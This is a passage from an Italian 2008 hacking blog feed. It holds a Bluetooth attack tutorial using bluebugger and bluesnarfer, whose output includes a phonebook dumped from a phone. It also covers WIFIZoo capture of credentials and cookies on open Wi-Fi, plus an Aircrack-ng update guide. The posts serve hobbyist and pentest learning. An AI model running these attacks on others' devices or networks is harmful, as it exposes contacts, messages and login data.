&#8220;Handfree Audio Gateway&#8221; (0&#215;111f)<br />
&#8220;Generic Audio&#8221; (0&#215;1203)<br />
Protocol Descriptor List:<br />
&#8220;L2CAP&#8221; (0&#215;0100)<br />
&#8220;RFCOMM&#8221; (0&#215;0003)<br />
Channel: 4<br />
Language Base Attr List:<br />
code_ISO639: 0&#215;656e<br />
encoding:    0&#215;6a<br />
base_offset: 0&#215;100<br />
Profile Descriptor List:<br />
&#8220;Handsfree&#8221; (0&#215;111e)<br />
Version: 0&#215;0101</span></p>
<p><span style="color:#ff0000;">Service Name: FTP<br />
Service RecHandle: 0&#215;10002<br />
Service Class ID List:<br />
&#8220;OBEX File Transfer&#8221; (0&#215;1106)<br />
Protocol Descriptor List:<br />
&#8220;L2CAP&#8221; (0&#215;0100)<br />
&#8220;RFCOMM&#8221; (0&#215;0003)<br />
Channel: 16<br />
&#8220;OBEX&#8221; (0&#215;0008)<br />
Language Base Attr List:<br />
code_ISO639: 0&#215;656e<br />
encoding:    0&#215;6a<br />
base_offset: 0&#215;100<br />
Profile Descriptor List:<br />
&#8220;OBEX File Transfer&#8221; (0&#215;1106)<br />
Version: 0&#215;0100</span></p>
<p><span style="color:#ff0000;">Service Name: OPP<br />
Service RecHandle: 0&#215;10003<br />
Service Class ID List:<br />
&#8220;OBEX Object Push&#8221; (0&#215;1105)<br />
Protocol Descriptor List:<br />
&#8220;L2CAP&#8221; (0&#215;0100)<br />
&#8220;RFCOMM&#8221; (0&#215;0003)<br />
Channel: 17<br />
&#8220;OBEX&#8221; (0&#215;0008)<br />
Language Base Attr List:<br />
code_ISO639: 0&#215;656e<br />
encoding:    0&#215;6a<br />
base_offset: 0&#215;100<br />
Profile Descriptor List:<br />
&#8220;OBEX Object Push&#8221; (0&#215;1105)<br />
Version: 0&#215;0100</span></p>
<p><span style="color:#ff0000;">Service Name: Serial Port<br />
Service RecHandle: 0&#215;10004<br />
Service Class ID List:<br />
&#8220;Serial Port&#8221; (0&#215;1101)<br />
Protocol Descriptor List:<br />
&#8220;L2CAP&#8221; (0&#215;0100)<br />
&#8220;RFCOMM&#8221; (0&#215;0003)<br />
Channel: 18<br />
Language Base Attr List:<br />
code_ISO639: 0&#215;656e<br />
encoding:    0&#215;6a<br />
base_offset: 0&#215;100<br />
Profile Descriptor List:<br />
&#8220;Serial Port&#8221; (0&#215;1101)</span></p>
<p><span style="color:#ff0000;">Service Name: Dial-up Networking<br />
Service RecHandle: 0&#215;10005<br />
Service Class ID List:<br />
&#8220;Dialup Networking&#8221; (0&#215;1103)<br />
Protocol Descriptor List:<br />
&#8220;L2CAP&#8221; (0&#215;0100)<br />
&#8220;RFCOMM&#8221; (0&#215;0003)<br />
Channel: 8<br />
Language Base Attr List:<br />
code_ISO639: 0&#215;656e<br />
encoding:    0&#215;6a<br />
base_offset: 0&#215;100<br />
Profile Descriptor List:<br />
&#8220;Dialup Networking&#8221; (0&#215;1103)<br />
Version: 0&#215;0100</span></p>
<p><span style="color:#000000;">Bene , arrivati a questo punto voi direte , ma alla fine non è che hai ricavato molto , sono solo notizie riguardanti le porta di comunicazione , ma abbiate solo un pò di pazienza&#8230;.</span></p>
<p><span style="color:#000000;">Tramite la konsole ed un editor di testi , nel mio caso <strong>Kate</strong> , apritevi il file di configurazione di <strong>Hdci</strong> , diamo quindi da konsole il comando:</span></p>
<p><strong>kate /etc/bluetooth/hcid.conf</strong></p>
<p>Al suo interno , andate a sostituire il tutto con le stringhe seguenti:</p>
<p><span style="text-decoration:underline;"><em>Sia chiaro che consiglio caldamente a tutti di farsi i propri backup , non rovinatevi la vita se non siete sicuri di ciò che fate</em><strong>.</strong></span></p>
<div>Attenzione:</div>
<div>***
<pre class="brush: plain;">***&lt;/div&gt;
&lt;code&gt;#
# HCI daemon configuration file.
#&lt;/code&gt;

# HCId options
options {
# Automatically initialize new devices
autoinit yes;

# Security Manager mode
#   none - Security manager disabled
#   auto - Use local PIN for incoming connections
#   user - Always ask user for a PIN
#
security auto;

# Pairing mode
#   none  - Pairing disabled
#   multi - Allow pairing with already paired devices
#   once  - Pair once and deny successive attempts
pairing multi;

# Default PIN code for incoming connections
passkey &quot;1234&quot;;
}

# Default settings for HCI devices
device {
# Local device name
#   %d - device id
#   %h - host name
name &quot;device1&quot;;

# Local device class
class 0x000000;

# Default packet type
#pkt_type DH1,DM1,HV1;

# Inquiry and Page scan
iscan enable; pscan enable;

# Default link mode
#   none   - no specific policy
#   accept - always accept incoming connections
#   master - become master on incoming connections,
#            deny role switch on outgoing connections
lm accept,master;

# Default link policy
#   none    - no specific policy
#   rswitch - allow role switch
#   hold    - allow hold mode
#   sniff   - allow sniff mode
#   park    - allow park mode
lp rswitch,hold,sniff,park;
auth enable;
encrypt enable;
}
&lt;p align=&quot;center&quot;&gt;***</pre>
<p>***</p>
<p align="center"><em>Ora è stato inserito come <strong>PIN</strong> , &#8220;<strong>1234</strong>&#8221; le 4 cifre internazionalmente di default sulla maggiorparte dei cellulari , ma tramite le opzioni a disposizione , e sempre in caso di un vero attacco , si sarebbe potuto pensare ad un attacco tramite </em><em><strong>brute-forcing</strong>. e comunque chi usa spesso il bluetooth non credo vogliastare sempre lì a digitare il PIN.<br />
</em></p>
<p>Fatto questo , salvate il tutto sovrascrivendo quindi totalmente il file di configurazione di Hdi , e date di nuovo da konsole per un nuovo UPil comando <strong>hciconfig -a</strong></p>
<p>vi verrà restituito nuovamente il messaggio in stile con quello precedentemente ricavato tramite lo stesso comando , solo che noterete qualche piccolo cambiamento dato che , come potete vedere dalle righe stesse , abbiamo abilitato lo sniffing.</p>
<p>Ora facciamo il <em><strong>restart</strong></em> del dispositivo e ssociamovi i permessi ideali con i seguen ti comandi:</p>
<p><strong>bash /etc/rc.d/rc.bluetooth restart</strong></p>
<p>Dopodiché:</p>
<p><strong>mknod -m 666 /dev/rfcomm0 c 216 3</strong></p>
<p><strong>mknod -m 666 /dev/rfcomm1 c 216 6</strong></p>
<p><strong>mknod -m 666 /dev/rfcomm2 c 216 7</strong></p>
<p>Come potete benissimo notare non abbiamo fatto altro che creare prima ed associare poi tre connessioni che rispettivamente andranno ad occupare tre diversi canali , il primo <span><span class="google-src-text" style="direction:ltr;text-align:left;">RFCOMM0 nel canale 3 &#8220;DUN Dial UP&#8221; ; Il secondo RFCOMM1 attivo sulcanale 6 FTP , ed il terzo RFCOMM2 attivo nel canale 7 chiamato &#8220;OBEX push&#8221;.</span></span></p>
<p>Andiamo ora ad aggiungere i canali attivi al tool <strong>sdptool</strong> , da <strong>konsole</strong> quindi:</p>
<p><strong>sdptool add &#8211;channel=3 DUN</strong></p>
<p><strong>sdptool add &#8211;channel=6 FTP<br />
</strong></p>
<p><strong>sdptool add &#8211;channel=7 OPUSH</strong></p>
<p>Dopo aver configurato il tutto correttamente passiamo ora alla parte dello sniffing&#8230;</p>
<p align="center"><img src="http://carlitobrigante.files.wordpress.com/2008/02/01_-_hacking.jpg" alt="01_-_hacking.jpg" /></p>
<p>Per far lavorare i due programmi che ci servono per lo sniffing , non dobbiamo fare altro che lanciarli da Shell , oppure se si vuole ottenere direttamente la shell con il menù , vi basta lanciarli dal <strong><em>KdeMenuStart</em></strong><em>-&gt;</em><strong><em>BckTrack</em></strong><em>-&gt;</em><strong><em>Radio&amp;NetworkAnalisys</em></strong><em>-&gt;</em><strong><em>Bluetooth-&gt;&#8230;..</em></strong></p>
<p><span style="color:#ff0000;">brigante ~HaCkLaB.WiFu # </span>bluebugger<br />
<span style="color:#ff0000;"><br />
bluebugger 0.1 ( MaJoMu | www.codito.de )<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p><span style="color:#ff0000;">Usage: bluebugger [OPTIONS] -a &lt;addr&gt; [MODE]</span></p>
<p><span style="color:#ff0000;">-a &lt;addr&gt;     = Bluetooth address of target</span></p>
<p><span style="color:#ff0000;">Options:<br />
&#8212;&#8212;&#8211;<br />
-m &lt;name&gt;     = Name to use when connecting (default: &#8221;)<br />
-d &lt;device&gt;   = Device to use (default: &#8216;/dev/rfcomm&#8217;)<br />
-c &lt;channel&gt;  = Channelto use (default: 17)<br />
-n            = No device name lookup<br />
-t &lt;timeout&gt;  = Timeout in seconds for name lookup (default: 5)<br />
-o &lt;file&gt;     = Write output to &lt;file&gt;</span></p>
<p><span style="color:#ff0000;">Mode:<br />
&#8212;&#8211;<br />
info                   = Read Phone Info   (default)<br />
phonebook              = Read Phonebook    (default)<br />
messages               = Read SMS Messages (default)<br />
dial &lt;num&gt;             = Dial number<br />
ATCMD                  = Custom Command (e.g. &#8216;+GMI&#8217;)</span></p>
<p><span style="color:#ff0000;">Note: Modes can be combined, e.g. &#8216;info phonebook +GMI&#8217;</span></p>
<p><span style="color:#ff0000;">* You have to set txxhe target address</span></p>
<p><span style="text-decoration:underline;"><em>Associamo al comando una nostra stringa , solo per fare una prova&#8230;. </em></span></p>
<p><span style="color:#ff0000;">brigante ~HaCkLaB.WiFu # <span style="color:#000000;">bluebugger -a 00:15:B9:57:80:C0 info<br />
</span><br />
bluebugger 0.1 ( MaJoMu | www.codito.de )<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</span></p>
<p><span style="color:#ff0000;">Target Device:  &#8216;00:15:B9:57:80:C0&#8242;<br />
Target Name:    &#8216;HaCkLaB-PH&#8217;</span></p>
<p><span style="color:#ff0000;">tcgetattr failed: Input/output error<br />
bt_rfcomm_config() failed<br />
&#8230;done</span></p>
<p><span style="color:#000000;">Quì il mio telefono si blocca e mi restituisce l&#8217; autorizzazione allo scambio di dialogo : (</span></p>
<p>Proviamo invece a vedere con il bluesnarfer cosa succede con un cellulare diverso (un pò più vecchiotto a dire il vero&#8230;.).</p>
<p>Queste le opzioni del Bluesnarfer:</p>
<p><span style="color:#ff0000;">brigante ~HaCkLaB.WiFu #<span style="color:#000000;"> bluesnarfer</span><br />
bluesnarfer: you must set bd_addr<br />
bluesnarfer, version 0.1 -<br />
usage: bluesnarfer [options] [ATCMD] -b bt_addr</span></p>
<p><span style="color:#ff0000;">ATCMD     : valid AT+CMD (GSM EXTENSION)</span></p>
<p><span style="color:#ff0000;">TYPE      : valid phonebook type ..<br />
example   : &#8220;DC&#8221; (dialed call list)<br />
&#8220;SM&#8221; (SIM phonebook)<br />
&#8220;RC&#8221; (recevied call list)<br />
&#8220;XX&#8221; much more</span></p>
<p><span style="color:#ff0000;">-b bdaddr : bluetooth device address<br />
-C chan   : bluetooth rfcomm channel</span></p>
<p><span style="color:#ff0000;">-c ATCMD  : custom action<br />
-r N-M    : read phonebook entry N to M<br />
-w N-M    : delete phonebook entry N to M<br />
-f name   : search &#8220;name&#8221; in phonebook address<br />
-s TYPE   : select phonebook memory storage<br />
-l        : list aviable phonebook memory storage<br />
-i        : device info</span><br />
<span style="color:#ff0000;"> </span><br />
<span style="color:#ff0000;">[root@bt ~]$ </span>bluesnarfer -r -1-100 -b 00:79:S9:77:99:R0</p>
<p><span style="color:#ff0000;">+1 Angelo 049936XXXX</span></p>
<p><span style="color:#ff0000;">+2 Anta 049936XXXX</span></p>
<p><span style="color:#ff0000;">+3 AntonellaP 049936XXXX</span></p>
<p><span style="color:#ff0000;">+4 Giuseppe 049936XXXX</span></p>
<p><span style="color:#ff0000;">+5 Zio AXXXX 0XXX5XXX56</span></p>
<p>E la lista potrebbe continuare fino a nostro piacimento</p>
<p>In questo caso il Bluesnarfing ha funzionato benissimo , se eravamo dei malintenzionati , e se solo avessimo voluto avremmo potuto ricevere e cancellare tutta la lista di numeri che erano in rubrica sul telefono.</p>
<p>Le opzioni poi potete vederle benissimo , c&#8217;é dallo sniffing dei messaggi , fino al <em><strong>Dial-UP </strong>,</em> ossia la possibilità di chiamare in <strong>quiet</strong> un qualsiasi numero di telefono utilizzando la linea del cellulare attaccato.</p>
<p>Capirete quindi in condizioni ideali che strumento possiamo avere a disposizione.</p>
<p>Oggi gli strumenti mediatici che usano il bluetooth sono moltissimi , non solo cellulari , ma palmari , stampanti , tutti gli strumenti che posso essere collegati ad un pc , e stando ai test che ho fatto , si riesce a trovare compatibilità e riuscita , almeno una volta su cinque.</p>
<p>Lo sniffing con dispositivi bluetooth è una cosa attraente ma anche molto pericolosa , ricordate che le tracce del segnale del vostro telefono sono monitorate quindi spero che non pensiate minimamente di trarre da questo tutorial notizie che possano servirvi a scopi illegali&#8230;   &#8230;.come sempre , nessuno si prenderà responsabilità a riguardo.</p>
<p>Detto questo , in campo di telefonia come del resto riguarda l&#8217; hardware in genere se si ha il mezzo giusto , ed in questo caso il nostro telefono cellulare , si possono arrivare a fare delle belle prove ,  ma a volte com&#8217;è successo a me, per configurare il dispositivo possono passare delle giornate.</p>
<p>Sto cercando di fare l&#8217; UPload di un vecchio video realizzato con Audithor , e creato sempre dal team di remote-exploit , appena posso lo linko nella pagina dei video , in modo tale da poter rendere bene l&#8217; idea.</p>
<p>Ciao a tutti e alla prossima.</p>
<p><em><span style="text-decoration:underline;">La parte di configurazione del tutorial è stata presa da un thrade di<strong> Dr_GreeN</strong> sul<a href="http://forums.remote-exploit.org/showthread.php?t=8592"> </a><a href="http://forums.remote-exploit.org/index.php">Forums.Remote-exploit</a><a href="http://forums.remote-exploit.org/showthread.php?t=8592"> </a>, l&#8217; esperimento è nostro.</span> </em></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/295/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/295/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/295/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/295/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/295/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=295&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/02/24/bluetooth-sniffer-with-bluebugger-bluesnarfer/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">~br1g4nt3~</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/02/super-bluetooth-hack.gif" medium="image">
			<media:title type="html">super-bluetooth-hack.gif</media:title>
		</media:content>

		<media:content url="http://carlitobrigante.files.wordpress.com/2008/02/01_-_hacking.jpg" medium="image">
			<media:title type="html">01_-_hacking.jpg</media:title>
		</media:content>
	</item>
		<item>
		<title>802.11 sniffing con WIFIZoo</title>
		<link>http://carlitobrigante.wordpress.com/2008/02/07/80211-sniffing-con-wifizoo/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/02/07/80211-sniffing-con-wifizoo/#comments</comments>
		<pubDate>Thu, 07 Feb 2008 18:28:28 +0000</pubDate>
		<dc:creator>PinguinoNinja</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/?p=275</guid>
		<description><![CDATA[&#160;
Nonostante le più recenti misure di sicurezza adottate dal protocollo 802.11 si siano rilevate abbastanza solide, ancora oggi  utenti sprovveduti lasciano aperta la propria rete, rendendola indifesa davanti al tentativo di accesso da parte di chiunque sia nel raggio dell&#8217;Access Point. Ma avere della banda occupata da qualcuno non autorizzato, per certi versi, non [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=275&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center">&nbsp;</p>
<p>Nonostante le più recenti misure di sicurezza adottate dal protocollo 802.11 si siano rilevate abbastanza solide, ancora oggi  utenti sprovveduti lasciano aperta la propria rete, rendendola indifesa davanti al tentativo di accesso da parte di chiunque sia nel raggio dell&#8217;Access Point. Ma avere della banda occupata da qualcuno non autorizzato, per certi versi, non è il rischio più alto.</p>
<p>Se la rete WiFi che utilizziamo non adotta nessun tipo di crittografia dei dati significa che qualunque dato trasmesso è in chiaro; quindi, a meno che non stiamo utilizzando una protezione di livello più alto (es. SSH), ogni dato intercettato è leggibile da chiunque ne sia in possesso. <u><i>L&#8217;attività di intercettazione passiva dei dati che transitano in una rete telematica</i></u> (<a href="http://it.wikipedia.org/wiki/Sniffing" target="_blank">Wikipedia</a>) è chiamata <b>sniffing</b>.</p>
<p><i>BackTrack 3</i> mette a disposizione vari tool che consentono di <i>fare sniffing</i>, uno di questi è <b>WIFIZoo</b>, sviluppato da <a href="mailto:hernan@gmail.com">Hernan Ochoa</a>.</p>
<p><a href="http://community.corest.com/~hochoa/wifizoo/" target="_blank">WIFIZoo</a> permette di catturare passivamente informazioni passanti su una rete non protetta in maniera del tutto automatica, inoltre è dotato di un&#8217;interfaccia grafica molto intuitiva, anche di un sistema di logging del traffico e un proxy integrato. Lo sniffer legge tra i pacchetti catturati dalla scheda wireless per carpirne quanti più dati &#8220;sensibili&#8221; presenti al loro interno; <u><i>permette di recuperare facilmente tutti quei dati che per loro natura passano in chiaro sulla rete.</i></u> Oltre a sniffare i pacchetti in chiaro su connessioni WiFi non protette WIFIZoo crea anche dei piccolo grafici che mostrano BSSID e client ad essi associati.</p>
<p>Prima di poter procedere con un piccolo test sulla nostra rete dobbiamo configurare WIFIZoo in modo corretto, seguite <a href="http://carlitobrigante.wordpress.com/2008/02/06/aircrack-ng-wifizoo-update/" target="_blank">questo</a> piccolo tutorial per aggiornarlo e configurarlo correttamente.</p>
<p>Visto che proviamo il programma su una rete di nostra proprietà usiamo Airodump-ng per bloccare la nostra scheda di rete in ascolto su un canale specifico, quindi apriamo un terminale e digitiamo:</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
airmon-ng start wifi0 11<br />
airodump-ng &#8211;channel 11 ath0<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>in questo modo la nostra scheda è in ascolto solo sul canale di trasmissione della nostra rete, questo eviterà di intercettare per sbaglio comunicazioni che arrivano da reti non in nostro possesso. Adesso avviamo WIFIZoo sempre da terminale:</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
cd /pentest/wireless/wifizoo<br />
python wifizoo.py -i ath0<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>e creiamo del traffico con un client connesso alla nostra rete; quindi aprimo un browser qualunque e digitiamo nella barra degli indirizzi:</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p>http://127.0.0.1:8000</p>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p>Se WIFIZoo è configurato ed installato correttamente dovreste vedere l&#8217;interfaccia web di WIFIZoo che ha il compito di riassumere a grandi linee i dati catturati.<br />
Analizziamo le voci presenti in questa interfaccia una ad una:</p>
<p><b>[General info]</b><br />
<i>SSIDS (AP) List</i><br />
Mostra la lista degli AP rilevati comprensiva di MAC address, numero di client connessi e casa produttrice; la pagina è dotata di refresh automatico e se cliccate sul MAC di un AP apparirà la lista dei client ad esso connessi.</p>
<p><i>BSSID-&gt;Clients Graph</i><br />
Questa finestra vi mostra un grafico che raffigura a quali AP sono collegati i client, se un client dovesse passare da un AP a un&#8217;altro lo dovreste vedere.</p>
<p><i>Probes Graph</i><br />
Anche in questa finestra è mostrato un grafico, ma questa volta rappresenta le probes request di Ap verso i client.</p>
<p><i>SSIDS Obtained from ProbeRequests</i><br />
Analoga alla finestra successiva ma mostra gli i nomi SSID ottenuti dalle richieste effettuate dai client verso gli AP</p>
<p><i>Stats</i><br />
E&#8217; un riassunto generale dei dati sniffati, comprende il numero dei pacchetti catturati divisi per porta e protocollo.</p>
<p><b>[Captured Data]</b><br />
<i>POP3 Credentials</i><br />
Raccoglie le informazioni su credenziali raccolte sul protocollo POP (email)</p>
<p><i>Cookies</i><br />
Questa è una delle finestre più interessanti, infatti presenta una dettagliata didascalia di tutti i cookies sniffati da sessioni HTTP. I cookies sono mostrati sotto forma di link, seguendo questi link si passa dal proxy di WIFIZoo che li setta in automatico e vi reindirizza alla pagina web a cui il cookie fa riferimento.</p>
<p><i>FTP Data e SMTP Data</i><br />
Queste due finestre sono analoghe alla finestra &#8220;POP3 Credentials&#8221;, solo che mostrano informazioni in chiaro dei protocolli SMTP e FTP.</p>
<p>Oltre all&#8217;interfaccia di gestione via browser all&#8217;interno della cartella dove risiede wifizoo.py, c&#8217;è una directory chiamata &#8220;logs&#8221; dove vengono memorizzati tutti i log dello sniffing effettuato da WIFIZoo.</p>
<p><u><i>Concludo ricordandovi che se doveste usare questo programma su reti non di vostra proprietà commettereste un reato</i></u>.</p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/carlitobrigante.wordpress.com/275/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/carlitobrigante.wordpress.com/275/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/carlitobrigante.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/carlitobrigante.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/carlitobrigante.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/carlitobrigante.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/carlitobrigante.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/carlitobrigante.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/carlitobrigante.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/carlitobrigante.wordpress.com/275/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/carlitobrigante.wordpress.com/275/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/carlitobrigante.wordpress.com/275/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=275&subd=carlitobrigante&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://carlitobrigante.wordpress.com/2008/02/07/80211-sniffing-con-wifizoo/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">PinguinoNinja</media:title>
		</media:content>
	</item>
		<item>
		<title>Aircrack-ng &amp; WIFIZoo update</title>
		<link>http://carlitobrigante.wordpress.com/2008/02/06/aircrack-ng-wifizoo-update/</link>
		<comments>http://carlitobrigante.wordpress.com/2008/02/06/aircrack-ng-wifizoo-update/#comments</comments>
		<pubDate>Wed, 06 Feb 2008 16:38:33 +0000</pubDate>
		<dc:creator>PinguinoNinja</dc:creator>
				<category><![CDATA[/Radio-Network-Analisys]]></category>
		<category><![CDATA[/UPdate]]></category>

		<guid isPermaLink="false">http://carlitobrigante.wordpress.com/?p=277</guid>
		<description><![CDATA[
Ciao a tutti,
questo breve tutorial spiega come aggiornare alle versioni più recenti 2 tool in vostro possesso con l&#8217;utilizzo di BackTrack 3:

la suite di tools Aircrack-NG
lo sniffer WIFIZoo

[#][#]Aircrack-NG
L&#8217;attuale versione installata in BT3 di Aircrack-ng è la 1.0-beta1; noi in questo tutorial vedremo come passare dalla 1.0-beta1 alla 1.0-beta2 lasciando inalterato il supporto per SQLite, cosi [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=carlitobrigante.wordpress.com&blog=1680906&post=277&subd=carlitobrigante&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p align="center"><img src="http://carlitobrigante.files.wordpress.com/2008/02/helpdesk.jpg?w=350&#038;h=300" alt="helpdesk.jpg" height="300" width="350" /></p>
<p>Ciao a tutti,</p>
<p>questo breve tutorial spiega come aggiornare alle versioni più recenti 2 tool in vostro possesso con l&#8217;utilizzo di BackTrack 3:</p>
<ul>
<li>la suite di tools <b>Aircrack-NG</b></li>
<li>lo sniffer <b>WIFIZoo</b></li>
</ul>
<p><b>[#][#]Aircrack-NG<br />
</b>L&#8217;attuale versione installata in BT3 di <a href="http://www.aircrack-ng.org" target="_blank">Aircrack-ng</a> è la 1.0-beta1; noi <u><i>in questo tutorial vedremo come passare dalla 1.0-beta1 alla 1.0-beta2 lasciando inalterato il supporto per SQLite</i></u>, cosi da poter ancora utilizzare Airolib-ng per la creazione di database. Tra le varie novità proposte dalla versione 1.0-beta2 si può notare con piacere che <u><i>gli sviluppatori di questo magnifico tool hanno ridotto a 2 i pacchetti necessari al cracking della chiave WPA</i></u> (prima occorreva catturare tutti e 4 i passaggi dell&#8217;handshake); comunque vi rimando alla pagina contente il <a href="http://www.aircrack-ng.org/doku.php?id=changelog&amp;s=beta%202" target="_blank">changelog</a> della versione 1.0-beta2 per dettagli più accurati sul lavoro svolto dagli sviluppatori di Aircrack-ng.<br />
Vi ricordo che le informazioni su come aggiornare Aircrack-ng sono presenti anche sul suo <a href="http://www.aircrack-ng.org/doku.php?id=install_aircrack" target="_blank">wiki</a>.<br />
Prima di iniziare creiamo una directory dalla quale lavoreremo:</p>
<p>&#8212;&#8212;&#8212;<br />
cd /root<br />
mkdir update<br />
cd update<br />
&#8212;&#8212;&#8212;</p>
<p>ora scarichiamo con wget l&#8217;archivio contenente il codice di Aircrack-ng e scompattiamolo:</p>
<p>&#8212;&#8212;&#8212;<br />
wget http://download.aircrack-ng.org/aircrack-ng-1.0-beta2.tar.gz<br />
tar -zxvf aircrack-ng-1.0-beta2.tar.gz<br />
&#8212;&#8212;&#8212;</p>
<p>Non ci rimane che entrare nella directory creata scompattando Aircrack-ng per compilarlo ed installarlo con il supporto per Airolib-ng:</p>
<p>&#8212;&#8212;&#8212;<br />
cd aircrack-ng-1.0-beta2<br />
make sqlite=true<br />
make sqlite=true install<br />
&#8212;&#8212;&#8212;</p>
<p>A questo punto abbiamo la versione 1.0-beta2 di Aircrack-ng compilata ed installata correttamente e funzionante!</p>
<p><b>[#][#]WIFIZoo</b><br />
<a href="http://community.corest.com/~hochoa/wifizoo/" target="_blank">WIFIZoo</a> è uno <b>sniffer</b> che <u><i>lavora sul protocollo 802.11</i></u>; è in grado di catturare e mostrare in tempo reale le informazioni pasanti sulle reti non protette come password POP, cookies etc.<br />
La versione presente in BT3 è la 1.2, ma noi la aggiorneremo alla versione 1.3 che, a differenza della versione precedente, <u><i>ha in più il supporto per leggere da un file del traffico catturato in precedenza</i></u> (es. con Kismet o Airodump-ng).</p>
<p>Prima di tutto entriamo nella nostra cartella &#8220;update&#8221; se non ci siamo già:</p>
<p>&#8212;&#8212;&#8212;<br />
cd /root/update<br />
&#8212;&#8212;&#8212;</p>
<p>quindi scarichiamo la versione 1.3 di WIFIZoo:</p>
<p>&#8212;&#8212;&#8212;<br />
wget http://community.corest.com/~hochoa/wifizoo/wifizoo_v1.3.tgz<br />
&#8212;&#8212;&#8212;</p>
<p>sccompattiamo WIFIZoo e entriamo nella directory creata:</p>
<p>&#8212;&#8212;&#8212;<br />
tar zxvf wifizoo_v1.3.tgz<br />
cd wifizoo_v1.3<br />
&#8212;&#8212;&#8212;</p>
<p>ora dobbiamo scaricare &#8220;<b>scapy.py</b>&#8220;, necessario al funzionamento del programma:</p>
<p>&#8212;&#8212;&#8212;<br />
wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py<br />
&#8212;&#8212;&#8212;</p>
<p><i>WIFIZoo è scritto in Python che è gia installato in BT3</i>, dobbiamo solo configurarlo affinchè riconosca la nostra interfaccia di rete, lo stesso vale per &#8220;<i>scapy.py</i>&#8220;.<br />
Apriamo con un editor di testo il file &#8220;<b>wifizoo.py</b>&#8221; e modifichiamo la voce &#8220;<b>conf.iface = &#8216;rausb0&#8242;</b>&#8221; (<u><i>linea 50</i></u>) in modo che rispecchi la nostra configurazione, esempio <u>avendo una scheda con chipset Atheros la linea in va cambiata in</u> &#8220;<u>conf.iface = &#8216;ath0&#8242;</u>&#8220;.<br />
Adesso possiamo passare ad editare &#8220;<b>scapy.py</b>&#8220;, quindi apriamo il file con un editor testuale e <i>modifichiamo la <u>linea 13270</u></i> inserendo al posto di &#8220;betteriface&#8221; una riga simile a quella che inseriamo in Kismet nella voce source, <u>usando un chipset Atheros io ho modificato la linea in modo che diventi</u> &#8220;<u>conf.iface = &#8216;madwifing_g,ath0,madwifi&#8217;</u>&#8220;.</p>
<p>Adesso che WIFIZoo è configurato non ci resta che sostituirlo al precedente e creare al suo interno la directory dove verranno salvati i logs ad ogni suo utilizzo, quindi:</p>
<p>&#8212;&#8212;&#8212;<br />
rm -r /pentest/wireless/wifizoo/*<br />
cp -r * /pentest/wireless/wifizoo<br />
mkdir /pentest/wireless/wifizoo/logs<br />
&#8212;&#8212;&#8212;</p>
